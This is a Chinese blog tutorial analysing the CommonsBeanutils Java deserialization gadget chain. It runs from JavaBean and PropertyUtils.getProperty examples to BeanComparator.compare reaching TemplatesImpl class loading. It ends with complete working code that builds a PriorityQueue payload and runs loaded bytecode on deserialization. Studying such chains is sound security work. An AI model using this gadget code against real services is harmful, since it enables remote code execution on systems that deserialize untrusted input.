Java反序列化之CommonsBeanutils

本文最后更新于:1 个月前

依赖导入

在开始学习这条链之前我先对CommonsBeanutils有了个简单的了解

首先导入依赖:

1
2
3
4
5
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.3</version>
</dependency>

Bean

先了解一下bean是什么

Java Bean是一种特定规范的类,使得开发中更加模块化,一个bea需要包括几种特点:

  • 实现Serializable接口,使得类可序列化
  • 无参构造函数,JavaBean应有一个公共的无参构造函数以便使用的时候快速实例化
  • 私有属性,bean的属性一般被声明为private
  • 公有getter和setter用于修改和读取私有属性

举个简单的例子:

1
2
3
4
5
6
7
8
9
publc class User() implements Serializable{
private String name;
private int age;
public User(){}
public void setName(String name){this.name = name;}
public void setAge(int age){this.age = age;}
public String getName(){return this.name;}
public int setAge(){return this.age;}
}

PropertyUtils.getProperty()

该方法传入两个参数,一个是实例化后的bean对象,一个是字符串类型的属性名,

1
2
3
4
5
6
7
public static Object getProperty(final Object bean, final String name)
throws IllegalAccessException, InvocationTargetException,
NoSuchMethodException {

return (PropertyUtilsBean.getInstance().getProperty(bean, name));

}

跟进到PropertyUtilBaen->getNestedProperty(),该方法首先检测bean对象中是否存在某个属性(property),存在的话调用其getter(),因此假如说某个getter中存在可利用点,调用该方法的时候即有利用的可能

举一部分例子:

获取简单属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import org.apache.commons.beanutils.BeanUtils;

public class SimplePropertyExample {
public static void main(String[] args) {
User user = new User();
user.setUsername("johndoe");

try {
String username = BeanUtils.getProperty(user, "username");
System.out.println("Username: " + username); // 输出 "Username: johndoe"
} catch (Exception e) {
e.printStackTrace();
}
}
}

class User {
private String username;

public String getUsername() {
return username;
}

public void setUsername(String username) {
this.username = username;
}
}

获取嵌套属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import org.apache.commons.beanutils.BeanUtils;

public class NestedPropertyExample {
public static void main(String[] args) {
Address address = new Address();
address.setCity("New York");

User user = new User();
user.setAddress(address);

try {
String city = BeanUtils.getProperty(user, "address.city");
System.out.println("City: " + city); // 输出 "City: New York"
} catch (Exception e) {
e.printStackTrace();
}
}
}

class User {
private Address address;

public Address getAddress() {
return address;
}

public void setAddress(Address address) {
this.address = address;
}
}

class Address {
private String city;

public String getCity() {
return city;
}

public void setCity(String city) {
this.city = city;
}
}

处理集合属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import org.apache.commons.beanutils.BeanUtils;

import java.util.ArrayList;
import java.util.List;

public class CollectionPropertyExample {
public static void main(String[] args) {
Group group = new Group();
List<String> members = new ArrayList<>();
members.add("Alice");
members.add("Bob");
group.setMembers(members);

try {
List<String> groupMembers = (List<String>) BeanUtils.getProperty(group, "members");
System.out.println("Group Members: " + groupMembers); // 输出 "Group Members: [Alice, Bob]"
} catch (Exception e) {
e.printStackTrace();
}
}
}

class Group {
private List<String> members;

public List<String> getMembers() {
return members;
}

public void setMembers(List<String> members) {
this.members = members;
}
}

TemplateImpl.getOutputProperties()

上面介绍过getProperty()方法能够调用一个getter,在TemplateImpl中,有一个getter就是getOutputProperties(),通过getProperty()如果bean是一个TemplateImpl对象,name的值为”outputProperties”,即可调用TemplateImpl对象的getOutputProperties()方法。CC链的分析中,newTransformer()方法能够调用TransformerImpl的构造方法,在TransformerImpl的构造方法中调用了getTransletInstance()方法,进而走到defineClass()->newInstance()的攻击链

1
2
3
4
5
6
7
8
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

BeanComparator.compare()

在BeanComparator的compare()方法中,存在对getProperty()方法的调用,并且参数可控

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public int compare( final T o1, final T o2 ) {

if ( property == null ) {
// compare the actual objects
return internalCompare( o1, o2 );
}

try {
final Object value1 = PropertyUtils.getProperty( o1, property );
final Object value2 = PropertyUtils.getProperty( o2, property );
return internalCompare( value1, value2 );
}
......
}

在前面的CC链的分析中,能发现有一处走到compare()方法的调用,因此CB的利用已经初具雏形了

gadget链构造

先正向尝试构造利用链,对TemplateImpl对象的构造以及反射赋值和前面CC一样

接入优先队列构成完整利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package com.potato.Commons_Collections;

import com.potato.Tools.Utils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CommonsBeanutils {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();

byte[][] bytes = new byte[][]{Files.readAllBytes(Paths.get("D:\\tmp\\Test1.class"))};

Class<?> c = TemplatesImpl.class;
Field f = c.getDeclaredField("_bytecodes");
f.setAccessible(true);
f.set(templates,bytes);

TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();

f = c.getDeclaredField("_tfactory");
f.setAccessible(true);
f.set(templates,transformerFactory);

//
f = c.getDeclaredField("_name");
f.setAccessible(true);
f.set(templates,"11");


BeanComparator<Object> beanComparator = new BeanComparator<>();
beanComparator.setProperty("outputProperties");
// beanComparator.compare(templates,null);

PriorityQueue priorityQueue = new PriorityQueue(beanComparator);
Class c1 = priorityQueue.getClass();
Field queueField = c1.getDeclaredField("queue");
queueField.setAccessible(true);
queueField.set(priorityQueue,new Object[]{templates,templates,templates});

Field sizeField = c1.getDeclaredField("size");
sizeField.setAccessible(true);
sizeField.set(priorityQueue,3);

Utils.serialize(priorityQueue);
Utils.unserialize("obj.ser");

}
}